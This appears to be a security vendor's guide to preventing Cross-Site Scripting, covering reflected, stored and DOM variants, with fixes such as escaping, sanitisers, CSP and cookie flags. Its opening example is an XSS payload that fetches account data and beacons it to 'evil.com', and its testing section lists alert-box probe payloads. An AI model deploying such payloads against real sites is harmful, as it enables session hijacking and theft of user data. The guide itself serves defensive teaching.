AuditCoreAuditCore
highCWE-79OWASP A03:2021 — InjectionXSSCross-Site Scripting

How to fix Cross-Site Scripting (XSS)

XSS lets attackers run JavaScript in your users' browsers — under your origin, with full access to their session cookies, localStorage, and the DOM. Three flavors (reflected, stored, DOM-based) need three slightly different fixes. This guide covers all of them, plus the Content Security Policy that turns 'we missed one' into 'they're not getting much'.

What is XSS (Cross-Site Scripting)?

Cross-Site Scripting (XSS) happens when user-controlled input is rendered into a page without proper escaping, so the input is interpreted as code instead of data. The classic case: a search page that displays "You searched for: {query}" and the query is `<script>fetch('/api/me').then(r=>r.json()).then(d=>navigator.sendBeacon('//evil.com',JSON.stringify(d)))</script>`. Now every user who clicks a link to that search page silently leaks their account data.

Three variants are tracked separately because they have different fixes. Reflected XSS — the payload is in the URL/form, server bounces it back unescaped. Stored XSS (the worst) — the payload is saved in the database (a profile bio, a comment), then served to every user who views that content. DOM-based XSS — the payload never touches the server; client-side JavaScript reads it from `location.hash`/`document.referrer`/`postMessage` and writes it into the DOM unsafely.

XSS is OWASP A03 (Injection family) and CWE-79. It's been in OWASP's top 10 since 2003 and remains there because modern frameworks make it harder to introduce by default — but legacy code, server-rendered templates without auto-escape, and unsafe React patterns (`dangerouslySetInnerHTML`, `v-html`, jQuery `.html()`) keep finding ways. The 2024 GitLab cookie-disclosure XSS, the 2023 Twitter/X share-link XSS, the recurring TinyMCE / CKEditor XSS series — all in production code reviewed by people who knew XSS exists.

What an attacker can do

The concrete impact of leaving XSS (Cross-Site Scripting) unpatched.

Full session takeover (any logged-in user)

Steal session cookies (if not HttpOnly) or call your API as the victim. The attacker doesn't need to know the password — they hijack the active session.

Credential phishing in-place

Replace the login form with one that posts to evil.com. Looks legitimate (correct URL, correct TLS lock) so users have no obvious tell.

Worm propagation in social-style apps

Stored XSS in a profile field becomes a worm: every viewer's account auto-shares the payload. Twitter Mikeyy XSS in 2009, Samy MySpace worm in 2005 — same pattern still works.

Cryptocurrency drain via injected wallet UI

On crypto/banking apps, XSS injects a fake "confirm transaction" UI that signs to attacker-controlled addresses. Users approve normally; funds drain.

How do I know if I'm vulnerable?

Manual: search your codebase for direct DOM writes — `dangerouslySetInnerHTML`, `v-html`, `innerHTML =`, `document.write`, `.html(...)` in jQuery, `Markup` in Python (Jinja2), `raw` filter in template engines, `Html.Raw` in .NET. Each one needs justification: is the source guaranteed safe? If it comes from user input or external API, it's a finding.

Automated: run AuditCore — our OWASP ZAP integration covers reflected and DOM XSS via a real browser (AJAX spider executes JavaScript). Stored XSS detection requires a multi-step crawl (post a payload, retrieve it, check execution) which we cover via the authenticated crawler in Pro+ tiers. For static SAST, Semgrep's `p/javascript` ruleset flags unsafe DOM writes pre-deploy — we run it in the static phase when you provide a repo URL.

How to fix XSS (Cross-Site Scripting)

6 ordered steps. Apply them in order — each builds on the previous.

  1. 1

    Use auto-escaping templates / framework defaults

    Modern frameworks escape by default — use them as intended. React `{userInput}` text interpolation escapes HTML. Vue `{{ userInput }}`. Django templates auto-escape. Jinja2 `autoescape=True`. The XSS comes from opting OUT of these defaults.

    Audit every place you intentionally bypass escaping. There should be a comment explaining why and a test verifying the input is sanitized. If neither exists, the bypass is wrong.

    tsxStep 1
    // ❌ React — opting out of safety
    <div dangerouslySetInnerHTML={{ __html: userBio }} />
    
    // ✅ React — text interpolation auto-escapes
    <div>{userBio}</div>
    
    // ✅ React — if you NEED HTML, sanitize first
    import DOMPurify from "isomorphic-dompurify";
    <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userBio) }} />
  2. 2

    Sanitize HTML when you need to render user-supplied markup

    For rich-text fields (comments, bios, blog content) where users legitimately need to bold things or add links, use a battle-tested HTML sanitizer with an allow-list — never write your own.

    DOMPurify is the standard for client-side. Bleach for Python. HTML Purifier for PHP. Sanitize for Ruby. Configure with the smallest tag set you can get away with — `<b>`, `<i>`, `<a href>`, `<p>`, `<br>`. Reject `<script>`, `<style>`, `<iframe>`, `on*` attributes, `javascript:` URIs.

    javascriptStep 2
    import DOMPurify from "dompurify";
    
    // Allow-list approach — explicit list of safe tags/attrs
    const safe = DOMPurify.sanitize(userInput, {
      ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "br", "ul", "ol", "li"],
      ALLOWED_ATTR: ["href", "title"],
      ALLOWED_URI_REGEXP: /^https?:\/\//,  // no javascript:, data:, file:
    });
    
    // Python (Bleach) equivalent:
    // import bleach
    // safe = bleach.clean(user_input, tags=['b','i','a','p','br'], attributes={'a': ['href','title']})
  3. 3

    Escape context-appropriately when writing inline HTML

    If you must build HTML strings (legacy code, server-rendered templates, email templates), the escaping rules differ by context — HTML body, HTML attribute, JavaScript string, CSS, URL. Use libraries that know the context, not generic htmlspecialchars().

    OWASP's escape cheat sheet is the canonical reference. The big trap: `<script>var name = '${userInput}'</script>` — htmlspecialchars won't help here because we're inside a JavaScript string context, not HTML. The correct fix is JSON-encoding the value: `var name = ${JSON.stringify(userInput)}`.

    htmlStep 3
    <!-- ❌ Wrong — htmlspecialchars in JS context -->
    <script>var name = "<?= htmlspecialchars($name) ?>";</script>
    <!-- " in $name still breaks out of the JS string -->
    
    <!-- ✅ Right — JSON-encode for JS context -->
    <script>var name = <?= json_encode($name, JSON_HEX_TAG) ?>;</script>
    
    <!-- ❌ Wrong — htmlspecialchars in attribute context misses some payloads -->
    <a href="<?= htmlspecialchars($url) ?>">link</a>
    <!-- javascript:alert(1) is still valid -->
    
    <!-- ✅ Right — validate URL scheme + escape -->
    <a href="<?= htmlspecialchars(safe_url($url)) ?>">link</a>
    <!-- where safe_url() rejects anything not http(s):// -->
  4. 4

    Implement Content Security Policy (CSP) as defense-in-depth

    CSP tells the browser "only execute scripts from these sources". When you have a missed XSS, CSP can stop the payload from running. It's not a primary defense but it converts "we leaked everything" into "the browser blocked it".

    Start in Report-Only mode to find what your app legitimately needs. Use nonces for inline scripts (`<script nonce='abc123'>`) — pure 'unsafe-inline' allow-list defeats the purpose. The strict-dynamic source allows scripts loaded by trusted scripts to load others, simplifying SPA setups.

    httpStep 4
    # Strict CSP for modern apps
    Content-Security-Policy:
      default-src 'self';
      script-src 'self' 'nonce-{RANDOM_PER_REQUEST}' 'strict-dynamic';
      style-src 'self' 'nonce-{RANDOM_PER_REQUEST}';
      object-src 'none';
      base-uri 'self';
      frame-ancestors 'none';
      form-action 'self';
      upgrade-insecure-requests;
      report-uri /api/csp-report
    
    # Express middleware (helmet):
    # app.use(helmet.contentSecurityPolicy({ useDefaults: true, directives: {...} }))
    
    # Next.js — set in next.config.ts headers() function
  5. 5

    Set HttpOnly + Secure + SameSite on session cookies

    If XSS happens despite all the above, HttpOnly stops `document.cookie` from leaking the session. Combined with SameSite=Lax/Strict, you've removed the easiest cookie-theft path.

    Every session cookie should have all three flags. SameSite=Strict if your app doesn't need cross-site links to authenticated pages; otherwise SameSite=Lax (default in Chrome since 2020).

    javascriptStep 5
    // Express
    app.use(session({
      cookie: {
        httpOnly: true,    // not readable from JS
        secure: true,      // HTTPS only
        sameSite: "lax",   // or "strict"
        maxAge: 1000 * 60 * 60 * 24 * 7,
      },
    }));
    
    // Or set manually:
    res.setHeader("Set-Cookie",
      "sid=abc; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=604800");
  6. 6

    Audit for DOM XSS sources/sinks in client-side code

    DOM XSS is invisible to server-side scanning. Search your client code for sources (`location.hash`, `document.URL`, `window.name`, `postMessage`) flowing into sinks (`innerHTML`, `eval`, `setTimeout(string)`, `document.write`).

    Use ESLint's `no-eval`, `no-implied-eval`, plus `eslint-plugin-security` for dynamic code rules. For React, lint against `dangerouslySetInnerHTML` without a sanitizer. For browser extensions and embedded widgets, especially audit `postMessage` handlers — they receive arbitrary cross-origin data.

    javascriptStep 6
    // ❌ DOM XSS — location.hash flows to innerHTML
    const fragment = location.hash.substring(1);
    document.getElementById("output").innerHTML = fragment;
    // URL: example.com/#<img src=x onerror=alert(1)>
    
    // ✅ Use textContent (escaped automatically)
    document.getElementById("output").textContent = fragment;
    
    // ❌ postMessage handler trusts everything
    window.addEventListener("message", (e) => {
      document.getElementById("widget").innerHTML = e.data;
    });
    
    // ✅ Validate origin + sanitize
    window.addEventListener("message", (e) => {
      if (e.origin !== "https://trusted.com") return;
      const data = typeof e.data === "string" ? DOMPurify.sanitize(e.data) : "";
      document.getElementById("widget").innerHTML = data;
    });

How to verify the fix

Run AuditCore after deploying. Our OWASP ZAP integration tests reflected and DOM XSS with a real browser; the AJAX spider executes JavaScript so it catches SPAs. For stored XSS, the authenticated crawl posts payloads into form fields and verifies they don't execute when retrieved.

Manual smoke test: paste `<img src=x onerror=alert(1)>` into every text field in your app. Browse to where the field is displayed. If you see an alert box, you have stored XSS. Repeat with `"><script>alert(1)</script>` in URL parameters. For DOM XSS, append `#<img src=x onerror=alert(1)>` to URLs and visit. Then add CSP report-uri and watch the report endpoint for violations — these reveal XSS attempts in the wild.

FAQ

Frequently asked questions

Does React/Vue make my app immune to XSS?+

Mostly, by default. React's text interpolation, Vue's mustache syntax, and Angular's interpolation all auto-escape. You introduce XSS by opting OUT — `dangerouslySetInnerHTML`, `v-html`, `[innerHTML]`. If you grep your codebase for those three strings and audit each occurrence, you've covered the most common React/Vue/Angular XSS surface. The remaining risks are: 3rd-party components rendering with `dangerouslySetInnerHTML` internally (audit them), and DOM XSS in custom event handlers (search for the patterns in step 6).

Is HttpOnly cookies enough — do I still need to fix the XSS?+

HttpOnly stops cookie theft, which removes one attack path. But XSS still lets the attacker call your API as the victim (the session cookie is sent automatically), inject a fake login form, exfiltrate data via `fetch()`, hijack form submissions, and run a keylogger. Treat HttpOnly as a hardening layer, not a fix.

What's the difference between CSP and XSS prevention?+

Output escaping prevents XSS from happening (no payload runs). CSP is what catches it when prevention fails (payload exists, but the browser refuses to execute it). You need both — escaping is the primary defense, CSP is defense-in-depth. A strict CSP without escaping is risky (any nonce leak or 'unsafe-inline' source bypasses it). Escaping without CSP means a single missed escape leaks everything.

Will my CSP break Google Analytics, ads, or payment widgets?+

It needs tuning for them. Start in Report-Only mode (`Content-Security-Policy-Report-Only` header) and check what gets reported when users browse normally. Each external script needs its origin in `script-src`, each iframe needs `frame-src`, etc. Use `nonce` for inline GA initialization snippets, `strict-dynamic` to allow GA's dynamically-loaded sub-scripts.

Do I need to escape inside <script>/<style> tags?+

Yes, but with context-aware escaping, not htmlspecialchars. Inside `<script>` you're in JavaScript context — use `JSON.stringify()` (server-side: `json_encode` PHP, `json.dumps` Python). Inside `<style>` you're in CSS context — strict allow-list, never include user input directly. Inside event handlers (`onclick=`) you're in HTML attribute → JS string nested context — avoid entirely; bind events from JavaScript instead.

What about XSS in user-uploaded SVGs?+

SVG files can contain `<script>` and event handlers — uploading an SVG is uploading executable code if served as `image/svg+xml`. Two fixes: (1) sanitize uploaded SVGs server-side with a library like `svg-sanitizer` (PHP) or `dompurify` (Node), or (2) serve user uploads from a separate origin (`uploads.example.com`) with `Content-Disposition: attachment` to force download instead of inline rendering.

Don't just guess — scan and verify

AuditCore Free Trial scans your homepage for XSS (Cross-Site Scripting) and 50+ other vulnerability classes. No credit card. Results in 60 seconds.